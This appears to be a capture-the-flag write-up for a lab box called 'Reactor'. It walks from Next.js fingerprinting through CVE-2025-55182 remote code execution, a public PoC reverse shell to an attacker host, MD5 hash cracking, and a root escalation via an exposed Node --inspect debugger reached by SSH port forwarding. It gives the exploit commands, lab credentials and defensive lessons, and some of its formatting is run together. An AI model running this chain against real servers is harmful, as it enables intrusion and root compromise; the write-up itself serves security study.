Reactor presents as a fake nuclear reactor monitoring dashboard, "ReactorWatch," built on Next.js. The interesting part of this box is that the entry point isn't custom application logic at all — it's a framework-level vulnerability in React itself. No amount of manual route enumeration or directory brute-forcing surfaces it; the only way in is recognizing the tech stack and matching it against a very recent, very loud CVE. The chain:
node via reverse shellengineer, user flag--inspect,
reached through SSH port forwarding and the Chrome DevTools Protocolnmap -sC -sV -p- --min-rate 5000 --disable-arp-ping <TARGET_IP> -oN nmap_initial.txt
Results:
X-Powered-By: Next.js
and, critically, Vary: RSC — confirming React Server Components are active, not just
a generic Next.js appThe landing page is "ReactorWatch — Core Monitoring System," a fully static, server-rendered dashboard for a fictional "Nuclear Dynamics Corp., Facility Site-7." It lists a few names (Dr. Elena Rodriguez, Marcus Kim, James Thompson) as potential usernames, but there's no visible login form or interactive functionality anywhere in the UI.
gobuster, wordlists targeting Next.js API paths,
vhost fuzzing, build-manifest inspection, source map hunting) turned up nothing actionable. Every
"hit" was Next.js's own trailing-slash redirect behavior or a generic catch-all 404 page, not a
real custom route. This is expected: the page is statically prerendered
(x-nextjs-prerender: 1), and the vulnerability isn't in application code the developers
wrote — it's in the framework underneath it. No amount of content discovery against a static page
was ever going to find a bug that lives in React's internal deserializer.
The Vary: RSC header was the real tell. Once a distinctive, less-common framework
detail like active React Server Components is fingerprinted, it's worth checking recent CVE
disclosures for that exact stack before spending more time on manual enumeration. In this case,
the framework version (Next.js 15.0.3, confirmed via window.next.version in a browser
console, or via Wappalyzer) matched squarely against
CVE-2025-55182, publicly nicknamed "React2Shell" — a CVSS 10.0 pre-authentication RCE
in the RSC "Flight" serialization protocol, affecting any Next.js App Router application using
React Server Components, including a stock create-next-app project with zero custom
code.
nuclei -u <target> -tags nextjs,react nuclei -as -u <target> # automatic scan: fingerprints first, then runs matched CVE templatesOnce the rough CVE identity is known, the exact signed template can be located directly:
grep -rl "55182" ~/nuclei-templates/ # -> http/cves/2025/CVE-2025-55182.yamlThis CVE was disclosed and weaponized within hours — Datadog, Trend Micro, Microsoft, and Unit42 all published detailed write-ups within days, and it saw real in-the-wild exploitation delivering coin miners and C2 beacons. A framework fingerprint this specific is worth a CVE search on its own, independent of any application-specific testing.
A number of public PoCs exist with varying reliability; p3ta00/react2shell-poc
provided a clean, scriptable interface:
python3 react2shell-poc.py -t http://<TARGET>:3000 --check python3 react2shell-poc.py -t http://<TARGET>:3000 -c "id" # uid=999(node) gid=988(node) groups=988(node)
Confirmed RCE as node. Went straight for a reverse shell:
python3 react2shell-poc.py -t http://<TARGET>:3000 --revshell --lhost <LHOST> --lport 4444
With a shell as node, the application directory was sitting right at
/opt/reactor-app — and a SQLite database, reactor.db, was right there
with no access restriction beyond normal file permissions:
sqlite3 /opt/reactor-app/reactor.db ".tables" # sensor_logs users sqlite3 /opt/reactor-app/reactor.db "SELECT * FROM users;" # 1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb # 2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
Both hashes are unsalted MD5 — 32 hex characters, trivially reversible. Cracked instantly against rockyou:
hashcat -m 0 -a 0 39d97110eafe2a9a68639812cd271e8e /usr/share/wordlists/rockyou.txt # 39d97110eafe2a9a68639812cd271e8e:reactor1
admin hash (a203b22191d744a4e70ada5c101b17b8) did not crack against
rockyou or CrackStation. This account appears to be an unused red herring rather than part of the
intended chain — engineer's credentials were sufficient for the full path to root.
ssh engineer@<TARGET_IP> # password: reactor1
User flag secured.
With no sudo rights available to engineer (confirmed both by an empty
sudo -l and by the reactor1 password failing sudo authentication per
auth.log), local enumeration was the next step — run at both privilege stages
for completeness:
curl -s http://<LHOST>:8000/linpeas.sh -o linpeas.sh chmod +x linpeas.sh ./linpeas.sh -a | tee linpeas_out.txt
Linpeas flagged the finding immediately — at the very first foothold as node,
before any privilege escalation had occurred, since process command lines under /proc
are readable regardless of privilege level:
root 1409 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
--inspect parameter inside
the command line of the process." Since the debugger has full access to the Node.js execution
environment, any client able to connect can execute arbitrary JavaScript on behalf of that process —
and since this process runs as root, that's a direct root primitive.
| Tool | Why it doesn't apply |
|---|---|
| nuclei | Remote/network vulnerability scanner. The debugger is bound to
127.0.0.1 only and is a misconfiguration, not a CVE — invisible from outside
entirely and outside nuclei's operating model. |
| sqlmap | Targets SQL injection in HTTP-facing parameters. There was no web-exposed query interface anywhere in this app; the database was read directly off disk after RCE, not through any network-facing input. |
lxd group membership — engineer is a member of the
lxd group, which normally allows privesc via a privileged container mounting the
host filesystem. Blocked here: the box has no outbound internet access, so
lxd init failed trying to install the LXD snap, and no local image was available
to launch a container from. Not the intended path on this isolated lab network.reactor1 is not a valid sudo password for engineer,
confirmed via a logged authentication failure in auth.log.engineer has no sudoers entry to invoke sudo against in the first
place.The debugger listens on 127.0.0.1:9229 only — but that's not a real barrier once
you have any local foothold, since SSH port forwarding bypasses the localhost restriction entirely:
ssh -L 9229:127.0.0.1:9229 engineer@<TARGET_IP>
With the tunnel up, the debugger is reachable from the attacking machine directly. Rather than
relying on a full Chromium install and the chrome://inspect GUI, a small script talks
to the raw Chrome DevTools Protocol WebSocket directly:
curl -s http://127.0.0.1:9229/json
# {"webSocketDebuggerUrl": "ws://127.0.0.1:9229/<uuid>", "title": "/opt/uptime-monitor/worker.js", ...}
Connecting to that WebSocket and issuing a Runtime.evaluate command executes
arbitrary JavaScript inside the target process — which, since the process runs as root,
means arbitrary shell commands as root via Node's child_process module:
require("child_process").execSync("id", {encoding: "utf8"})
# uid=0(root) gid=0(root) groups=0(root)
Root flag secured.
--inspect on a production process is a root shell waiting to happen. Binding it
to 127.0.0.1 is not sufficient protection once an attacker has any local foothold;
SSH port forwarding trivially bypasses that restriction. Debug flags should never ship to
production.admin hash, the
lxd group with no viable image source) is part of the intended path — dead ends
are worth documenting so future re-runs don't repeat the same detours.curl against port 3000 returned
connection failures (000) even though the host itself remained fully reachable
over SSH and ICMP. Re-running any nuclei/detection tooling against port 3000 afterward will
show false "no results" simply because the service is down, not because the check failed.
Confirm the web service is actually alive before trusting a clean scan result post-exploitation.